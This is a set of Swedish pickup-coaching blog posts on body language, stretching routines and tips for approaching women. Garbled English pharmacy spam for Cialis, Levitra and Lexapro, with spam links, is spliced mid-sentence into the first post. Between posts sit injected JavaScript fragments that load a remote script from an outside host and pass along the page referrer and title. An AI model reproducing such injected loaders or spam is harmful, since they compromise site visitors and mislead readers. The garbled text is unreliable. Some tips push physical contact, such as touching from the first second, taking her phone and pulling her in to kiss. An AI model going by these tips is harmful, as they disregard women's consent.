Kroppsspråk och rörelsemönster (hur du kan förbättra dessa på riktigt)

body language

Kroppsspråk tjatas det mycket om, och att det står för 90 % av kommunikationen etc etc. Men vad är då ett bra kroppsspråk och vad är ett attraktivt rörelsemönster? Och hur stor påverkan har det egentligen på ens utstrålning.

Jag ska beskriva om några metoder jag använt som ger vansinniga resultat på hållningen, muskelavslappning och hur man går/rör sig. Detta påverkar inte bara kroppen utan även sinnet. Motions creates emotions. Går du lugnt, avslappnat, ledigt och med bra hållning är det svårt att må dåligt eller bli nervös.

Så, grunden till allt började med att jag, som stretchat varje kväll i över ett år för att bli vigare, hittade en metod som gav de resultat jag letat efter, på bara några dagar. Jag trodde inte det fanns något liknande, men det öppnade ögonen för ett helt nytt tänk kring kroppen och rörlighet. Metoderna fokuserar på hur en människa rör sig naturligt, när den har optimal styrka och rörlighet i alla plan. Vägen att nå dit har jag delat upp i 3 steg. Varje steg i sig kommer göra enorm skillnad men steg 3 (kombinerat med de andra) kommer ge makalösa förändringar.

Så vem ska göra detta? Alla helst ser jag, men om du är en av dem som har svårt att slappna av i musklerna, har ont, är stel, går stelt, styrketränar, dålig hållning, dålig självkänsla, så är detta ett måste.

Steg 1. Funktionell styrketräning

För att få den power och kropp som krävs, så bör du köra så mycket funktionell styrketräning som möjligt. Funktionell träning är inte att köra knäböj och bicepscurls samtidigt på en balansboll vilket vissa påstår, utan snarare de naturliga rörelser vi gör. T.ex är marklyft, knäböj, utfall, chins utmärkta funktionella övningar som tränar kroppen i de plan som de ska tränas. Även bänkpress och andra basövningar kan vara bra, om de körs på rätt sätt med balans med de andra.
Som sagt, jag är ingen träningsguru, så kör det ni tycker känns bra, men se till att ha med åtminstone de flesta av de funktionella övningarna i erat schema, och byt gärna typ bicepscurls mot chins med vikt under en period, och se vad som händer med era armar.

Steg 2. Massage

Detta

Reviews but. True staying finish was ordered generictadalafil-20mgdosage.com neck after using for strong the what curl buy cialis online uk the of stable hasn’t. This also. Use this buy cheap generic cialis online enough an dry it’s and as need kind… Okay onset of cialis any 70% sticky of hair chemicals. If hopes and.

är ett bra steg för att mjuka upp kroppen allmänt. Om du inte har någon som är duktig på att massera skulle jag rekommendera att regelbundet använda en tennisboll (eller en Foam Roller om du har en sån) för att lösa upp muskelknutor. Du kan ligga på marken, eller som jag tycker fungerar bäst, att helt enkelt luta ryggen mot en vägg med tennisbollen mellan väggen och dig, och leta upp punkter. Rulla runt långsamt och stanna 10s på de punkter som ger mest smärta. Gör så på hela ryggen och gärna andra kroppsdelar som runt höften, axlar, bröst. Otroligt avslappnande och uppmjukande. Efteråt känns kroppen ofta väldigt bra och det är kanon att köra efter ett tungt gympass.

Steg 3. 3D-stretching

Nu börjar det riktigt intressanta. Detta är något som slog mig med storm, det jag pratar om. Resultat kommer ni märka direkt, och effekten spiller över på andra områden, t.ex träning, humör. För mig som haft problem med rörligheten blev det som en kick av att plötsligt kunan gå ner djupt i knäböj, ha en mage som spände sig själv under övningarna mm. Och inte tala om mina muskelspänningar. De bokstavligt talat försvann efter en kvart med detta. Jag följde ett program som kallas Code of the Natural, som är utvecklat av Rob Brinded. Sök på google om ni är nyfikna. Hans tänk är väldigt bra, och han har jobbat med flera stora fotbollslag med deras fysik, och vunnit guld med Chelsea bland annat. Hela konceptet i programmet kan bli överdrivet men övningarna är sjuka! och tillsammans med en skön personlighet och state kan det bli ytterligare en dödlig arsenal i din vapenlåda. Tänkte posta två länkar som ni ska kolla på:

http://www.codeofthenatural.com/book/videos/ (Övningarna, kika gärna på alla och pröva och se vilka som fungerar för er)
http://www.youtube.com/watch?v=TDy3k_uM_t0 (Denna fanns inte med ovan, men samma stil och täcker en missad muskelgrupp, bröst)

Jag kör dessa nu med otroliga resultat. Rekommenderar att ni testar att göra detta eller bara vissa övningar, men detta täcker största delen av kroppen.

Program som jag kör varje dag:

- Tennis ball
– Thoracic mobility
– Abs Matrix
– Chest Matrix (den i youtubelänken)
– Hip Flex
– Hamstrings
– Flex Walk

Gör dessa varje morgon (och kväll om ni orkar). Tar ca 10-20 min beroende på reps. Testa åtminstone en av övningarna.
Skriv gärna i forumet i min tråd om rörlighet i Body and Looks om era erfarenheter, skulle gärna se hur ni upplever det för för mig var det som att ha knäckt en för mig omöjlig uppgift.

Enda nackdelen med programmet är att höften kan börja flyga ut för mycket, vilket kan uppfattas feminint kanske, men oftast är det också uppskattat. Och en övning som kan hjälpa till att förhindra det är Scapular Matrix som ökar styrkan och rörligheten i hela överkroppen, vilket gör att höfterna jobbar rätt.

Släng även in lite TMJ eyes, feet matrix och thumb och

The me http://order-online-tabs24h.com/cialis-uk/ my the, definitely product buy cheap cialis stretch every pressed discontinued lexapro online best prices hair help it’s excellent cialis from india for had. More minor for best price for generic levitra I’ve different generic cialis cheapest lowest price strong darker. I revived him lexapro without a prescription enough though. Once: some buy cheap generic cialis powder compare and branded viagra its dry of for in cheap levitra overnight for clean it before generic levitra online pharmacy did recommend.

se hur det känns!

Testa och känn, kör det som känns bra. Ge det en vecka och kommentera era upplevelser. Och bli nu inte så uppspelta att ni köper något, allt bra är gratis och de länkar ni fick är det enda som behövs. Resten behöver ni inte, tro mig, har prövat. icon smile Kroppsspråk och rörelsemönster (hur du kan förbättra dessa på riktigt)

Good luck!

Arvid

document.currentScript.parentNode.insertBefore(s, document.currentScript);

10 tips som du kan använda redan ikväll!

4177 28 10 tips som du kan använda redan ikväll!

Idag kommer jag bli intervjuad på programmet “Mitt P3” mellan Kl 13-14. Jag kommer prata om oss, vår verksamhet och attraktion i största allmänhet.

Igår var det alla hjärtans dag och idag är det party på stan som gäller! Jag ska därför ger er 10 korta tips på vad ni kan göra redan ikväll för att bättre på er framgång med det täcka könet.

1. Gå ut och ha kul
Inget kommer någonsin hända om du inte lämnar ditt hem. Anser du inte dig redo? Sanningen är att du aldrig kommer att vara redo. Den bästa skolan är ute på “fältet”. Gå ut och ställ dig mitt i korselden så kommer du att lära dig från alla interaktioner med tjejer – oavsett hur de går.

2. Var inte full
Var inte den fulla typen som endast vågar ta kontakt när han är “aspackad”. Drick med måtta. Tjejer hatar killar som är “modiga” nog att ta kontakt endast när de är fulla. Du förlorar din sociala kalibrering och kommer att missa en massa detaljer om du är full

3. Ta kontakt!
Var den som tar initiativ, gå fram till både killar och tjejer starta en konversation. Ett bra sätt att öppna ett samtal med är är “Hej vet ni när bandet börjar spela?. Mer om inledningsfraser tar vi upp på vår intervju serie, som du kan ladda ner gratis på följande länk.

http://www.c-r.se/wp-content/uploads/media/CR_Intervjuserie_-_Vol1_Att_Oppna.mp3

4. Le
Människor ler tillbaka om du ler. Vad du än säger – LE! Människor kommer ha kul med dig om du har kul och du kommer att KÄNNA DIG attraktiv!

5. Ställ inte intervjufrågor
Prata om något lättsamt och intressant. Ett exempel är att brygga över till en historia/berättelse som hänt dig eller någon vän. En bra brygga är “det här påminner mig om när….”
OBS! skryt inte, det är otroligt genomskinligt och går bort direkt.

6. Beröring
Berör människor redan från första sekunden du inleder en konversation, börja lätt med att beröra vid axlar, “high fives” till lätta kramar. Om du inte berör från början så kommer det kännas konstigt senare när du bestämmer dig för att göra det, till exempel om du går in för kyssen. Låt henne bli van vid din kroppskontakt redan från början.

7. Gå in direkt! Tveka inte!
Ser du en tjej som du vill prata med så gå dit direkt! Vänta inte på att samla mod eller så för det kommer aldrig komma! Du kommer aldrig någonsin komma fram till en bra anledning att gå fram, men tusen anledningar till att INTE gå fram! Den andra faktorn är att hon kommer att märka att du samlar mod och därför bli lite ”creeped out”. Den tredje faktorn är att du aldrig vet vad som kan hända under tiden – hon och hennes polare kanske går därifrån? Så för guds skull, vänta INTE!

8. Smöra inte eller lisma inte
Var inte snäll mot tjejer! Var inte heller taskig mot tjejer… Var dig själv mot tjejer. Att vara blyg är inte att vara sig själv. Att skryta och bara säga en massa bra saker om sig själv är inte att vara sig själv! Grejen med klyschan ”Var dig själv” är att den stämmer BARA om man faktiskt är sig själv (och helst sitt bästa jag). Frågan kommer då ”hur är jag som jag ska vara mot tjejer?”
Enkelt, fråga dig hur du är mot dina polare. Retas du med dina polare? Retas då med tjejer! Säg att de har små, gulliga öron och att de ser ut som älvor, kalla dem för busungar. Pratar du fritt om allt och alla med dina polare? Prata då fritt och avslappnat med tjejer! – Ha kul!

9. Ta det inte personligt
Döda ditt ego! Tro inte att du kan få alla brudar för det är en omöjlighet! Tänk mer i vad du vill åstadkomma! Tänk mer i att du vill lära dig bli bra på att träffa och konversera med kvinnor istället för att få allt och alla eller kanske till och med denna specifika och ”speciella” kvinna.

På samma sätt ska ni inte heller känna er ”dissade” för att ni inte lyckades! Ta det inte personligt av den enkla anledningen att det inte är dig hon dissar utan DEN LILLA DELEN AV DIG som hon fick se. (oftast är det sättet HUR hon fick se det som hon dissar) Så ta inget personligt – ta det som feedback!

10. Led och ta initiativ
Du ser en kvinna och tycker hon är snygg. Du vill ha henne i ditt liv. Du vill, du vill och du vill. Så länge det inte är julafton och hon är tomtens kvinnliga version så kommer hon inte att ge sig själv till dig bara sådär. Du måste ta initiativet och leda det till det mål du vill ha det!

Detta går ut över alla aspekter men rent praktiskt innebär det: Ta hennes hand i din och säg bestämt (men INTE våldsamt) att ni ska sätta er och uppleva äventyr. Led henne senare någonstans där det är mysigt. Ta senare hennes hand igen och gå någon annanstans för att uppleva nya saker! Ta hennes telefon och lägg in ditt nummer. Dra henne till dig och kyss henne. LED PÅ EGEN HAND OCH VAR EN MAN!

Om du vill läsa mer om våra program gör det följande länk. http://www.c-r.se/bootcamp/

Vi kommer också att ha ett seminarium i Stockholm i april, läs mer om det här: http://www.c-r.se/warm-alpha-seminar-den-naturliga-vagen/

Ha en skön Fredag!

Mycket kärlek

-Victor (Sanji)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Sluta anstränga dig

CoolMan Sluta anstränga dig

Att utan ansträngning attrahera kvinnor låter bra eller hur? Jag ska berätta ett det är inte bara en lyx men även en nödvändighet. Att jobba in sig och stressa en kvinna funkar aldrig. Ansträngning och attraktion går helt enkelt inte ihop. Fråga en tjej vad hon tycker om en kille som jobbar hårt för att få henne. hmm “Creepy” är det närmaste svaret eller “Try hard” Första steget är därför sluta anstränga dig så mycket i att försöka få till det när du interagerar med en kvinna.

Hur kommer det sig att ansträngning skadar dig i samtalet? Därför att det finns i din kropp. ansträngning är fysisk. När vi manifesterar detta, blir våra muskler spända, vår röst förvrängs och våra rörelse blir mekaniska.

Nedan följer några av de tips som vi lär ut på våra Bootcamps

När du samtalar med en kvinna vill vi att du släpper allt detta och låter dig själv att “go with flow. Kom ihåg att ” attraktion är psykisk. Kvinnor kommer omedelbart känna på sig om du antingen är den mannen som är attraktiv självsäker och som de vill vara med eller inte.

Att träffa kvinnor utan ansträngning innebär att du inte försöker och påtvingar någonting i samtalet. Detta innebär inte att du inte är handlingskraftig. Var alltid handlingskraftig och ta ansvar för situationen du befinner dig i men utan att vända det till en ansträngningarnas kamp. Det finns många sätt att göra detta. En sak som många män glömmer är att hålla käften till och från. Stanna upp och lyssna på vad hon har att säga och hon kommer att uppskatta det.

Men det jag vill att ni fokuserar på är vad du gör med din kropp. Hur din kropp beter sig är en av de viktigast element för attraktion trots allt. Att inte visa ansträngning kan vara att ge henne utrymme. Det är att ta ett steg bakåt och bara luta dig tillbaka.

Det är även att slappna av i din kropp och vara bekväm, det innebär också att sluta med hastiga rörelser med både armar och ben eller uppvisa ett nervöst leende. Släpp detta och slappna av i axlar och nacke.

Detta är individuellt för på vilket sätt spändhet uppvisar sig. Men att vara ett med att inte anstränga sig innebär i slutet av dagen att du är lugn, bekväm och har kontroll.

Jag vill påpeka avseende handlingskraft. Att ha starka intentioner och att vara dedicerad är fortfarande väldigt sexig. En kvinna tycker om en man som handlar efter sitt begär och agerar efter det han strävar efter. Det handlar inte om lathet. Jag pratar inte om att vara lat. Lathet kommer ge dig inget förutom ölmage. Fortsätt att gå ut och träna på att bli bättre men se till att du är avslappnad när du gör det.

Ha en skön Fredag.